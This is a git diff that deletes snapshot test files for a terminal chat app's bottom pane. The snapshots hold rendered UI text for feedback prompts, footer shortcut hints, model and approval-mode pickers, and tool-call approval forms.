+++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bad result) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap deleted file mode 100644 index 351eaf504..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bug) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap deleted file mode 100644 index 82fef23a3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (good result) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap deleted file mode 100644 index 70265e0e9..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (other) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap deleted file mode 100644 index c8898d71e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (safety check) -▌ -▌ (optional) Share what was refused and why it should have b - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap deleted file mode 100644 index 351eaf504..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bug) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap deleted file mode 100644 index 25d183281..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Robie [explorer] 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap deleted file mode 100644 index 62dc7c7fc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" tab to queue message 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap deleted file mode 100644 index 4e297880e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 123K used " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap deleted file mode 100644 index 92daa50b6..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap deleted file mode 100644 index 92daa50b6..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap deleted file mode 100644 index 22e791087..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap deleted file mode 100644 index 7a866f5f5..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap deleted file mode 100644 index 52b7e99a3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap deleted file mode 100644 index d0835b175..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap deleted file mode 100644 index ecff8cbf5..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap deleted file mode 100644 index 237768953..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" / for commands ! for shell commands " -" ctrl + j for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc esc to edit previous message " -" ctrl + c to exit shift + tab to change mode " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap deleted file mode 100644 index 928d18a1a..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 72% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap deleted file mode 100644 index 30db9b7bb..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap deleted file mode 100644 index d66a91abf..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" / for commands ! for shell commands " -" shift + enter for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc again to edit previous message " -" ctrl + c to exit " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap deleted file mode 100644 index b592f1d39..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode (shift+tab to cycle) 50% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap deleted file mode 100644 index 1aa1f91c0..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap deleted file mode 100644 index bb63b69fc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap deleted file mode 100644 index 26784d8b7..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap deleted file mode 100644 index 26784d8b7..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap deleted file mode 100644 index d2fac2b68..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content that … Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap deleted file mode 100644 index de31dac4b..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content · Robie [explorer] " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap deleted file mode 100644 index 62dc7c7fc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" tab to queue message 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap deleted file mode 100644 index 6f2758db8..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intentionally much longer name desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap deleted file mode 100644 index 290236271..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intentionally much longer name desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap deleted file mode 100644 index 5de38b09b..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intent… desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap deleted file mode 100644 index 6b64eceba..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 40)" ---- - - Select Approval Mode - -› 1. Read Only (current) Codex can - read files - - Note: Use /setup-default-sandbox to - allow network access. - Press enter to confirm or esc to go ba diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap deleted file mode 100644 index 22dd3a385..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 80)" ---- - - Select Model and Effort - -› 1. gpt-5.1-codex (current) Optimized for Codex. Balance of reasoning - quality and coding ability. - 2. gpt-5.1-codex-mini Optimized for Codex. Cheaper, faster, but less - capable. - 3. gpt-4.1-codex Legacy model. Use when you need compatibility - with older automations. diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap deleted file mode 100644 index 8ef181abc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 24)" ---- - - Debug - -› 1. Item 1 - xxxxxxxxx - x - 2. Item 2 - xxxxxxxxx - x - 3. Item 3 - xxxxxxxxx - x diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap deleted file mode 100644 index e31929956..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: render_lines(&view) ---- - - Select Approval Mode - Switch between Codex approval presets - -› 1. Read Only (current) Codex can read files - 2. Full Access Codex can edit files - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap deleted file mode 100644 index 71af62746..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: render_lines(&view) ---- - - Select Approval Mode - -› 1. Read Only (current) Codex can read files - 2. Full Access Codex can edit files - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap deleted file mode 100644 index 2c69981aa..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow Calendar to create an event - - Calendar: primary - Title: Roadmap review - Notes: This is a deliberately long note that should truncate bef... - - › 1. Allow Run the tool and continue. - 2. Cancel Cancel this tool call - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap deleted file mode 100644 index 3d927a375..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow this request? - › 1. Allow Run the tool and continue. - 2. Allow for this session Run the tool and remember this choice for this session. - 3. Always allow Run the tool and remember this choice for future tool calls. - 4. Cancel Cancel this tool call - - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap deleted file mode 100644 index 4a9a814d3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow this request? - › 1. Allow Run the tool and continue. - 2. Cancel Cancel this tool call - - - - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap deleted file mode 100644 index 45b4042f6..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 (1 required unanswered) - Allow this request? - - Confirm - Approve the pending action. - › 1. True - 2. False - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap deleted file mode 100644 index 3dac34887..000000000 --- 